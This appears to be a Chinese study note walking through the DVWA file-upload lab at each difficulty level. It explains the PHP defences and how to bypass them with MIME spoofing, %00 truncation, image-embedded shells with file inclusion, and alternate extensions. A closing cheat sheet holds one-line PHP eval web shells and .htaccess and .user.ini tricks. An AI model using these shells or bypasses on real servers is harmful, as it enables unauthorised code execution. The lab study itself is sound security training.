老规矩,先看index
有一个提交的表单
<form enctype=\"multipart/form-data\" action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000\" />
Choose an image to upload:<br /><br />
<input name=\"uploaded\" type=\"file\" /><br />
<br />
<input type=\"submit\" name=\"Upload\" value=\"Upload\" />\n";
MAX_FILE_SIZE规定了问文件最大的大小,不能超过0.1M
文件上传
file.html
<html>
<head></head>
<body></body>
<form enctype="multipart/form-data" action="file.php" method="POST">
Send this file: <input name="userfile" type="file" />
<input type="submit" value="Send File" />
</form>
</html>
file.php
<?php
echo "<pre>";
print_r($_FILES);
?>
low
basename() 函数返回路径中的文件名部分。
比如
<?php
$path = "/testweb/home.php";
echo basename($path) ."<br/>";
会返回个home.php
move_uploaded_file() 函数把上传的文件移动到新位置。
如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file() 将返回 false。
如果 file 是合法的上传文件,但出于某些原因无法移动,不会出现任何操作,move_uploaded_file() 将返回 false,此外还会发出一条警告。
仅用于通过 HTTP POST 上传的文件。
如果成功该函数返回 TRUE,如果失败则返回 FALSE。
PHP $_FILES 是一个预定义的数组,用来获取通过 POST 方法上传文件的相关信息。如果为单个文件上传,那么 $_FILES 为二维数组;如果为多个文件上传,那么 $_FILES 为三维数组。
文件上传漏洞的利用
1.成功上传木马文件
2.上传文件必须能够被执行
3.上传文件的路径必须可知
low没有任何防御,直接上传shell.php后,用蚁剑链接即可
medium
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
对文件的类型和大小进行了限定
上传图片马+文件包含
上传的图片中,写入了一句话木马
但是很遗憾,只是传个图片并没有啥用,要用php解析才可以
这时候,在昨天学习的文件包含就用上了
http://169.254.132.13/dvwa/vulnerabilities/fi/?page=hthttp://tp://169.254.132.13/dvwa/hackable/uploads/shell.png
抓包,修改文件名
在只有前端验证的情况下,上传png格式但是之后通过抓包改成php格式
%00截断
在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为hack.php%00.png。
high
strrpos()
查找字符串在另一字符串中最后一次出现的位置。
返回字符串在另一字符串中最后一次出现的位置,如果没有找到字符串则返回 FALSE。
substr()
返回字符串的指定部分
getimagesize(string filename)
此函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
代码读取了文件名最后一个点之后的内容,在之后的代码里,要求此内容必须为jpg、jpeg、png之一
而且需要相关的文件头
可以将一句话木马藏在图片的最后,再利用文件包含进行读取
也可以利用%00截断+图片头直接上传(如果可以的话)
impossible
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
更改了文件名
根据函数重新创建了一张图片,将原图片销毁
加入Anti-CSRF token防护CSRF攻击
本来想上传一张图片马然后用低难度的文件包含
但是没想到图片在上传之后内容发生了改变(虽然显示的还是那个)
罪魁祸首
imagejpeg ( image , filename , quality)
从image图像以filename为文件名创建一个JPEG图像,可选参数quality,范围从 0(最差质量,文件更小)到 100(最佳质量,文件最大)。
imagedestroy( img )
销毁图像资源
附我的upload笔记,自己看
JPG :FF D8 FF E0 00 10 4A 46 49 46
GIF(相当于文本的GIF89a):47 49 46 38 39 61
PNG: 89 50 4E 47
.php上传被过滤时可以用的别名:php2, php3, php4, php5, phps, pht, phtm, phtml,
Content-Type: image/png
Content-Type: image/jpeg
1.gif
GIF89a?
<script language="php">eval($_POST['a']);</script>
1.jpg
<script language="php">eval($_POST['a']);</script>
或
<?php eval($_POST[a]);?>
.htaccess
SetHandler application/x-httpd-php
.user.ini
GIF89a
auto_prepend_file=a.jpg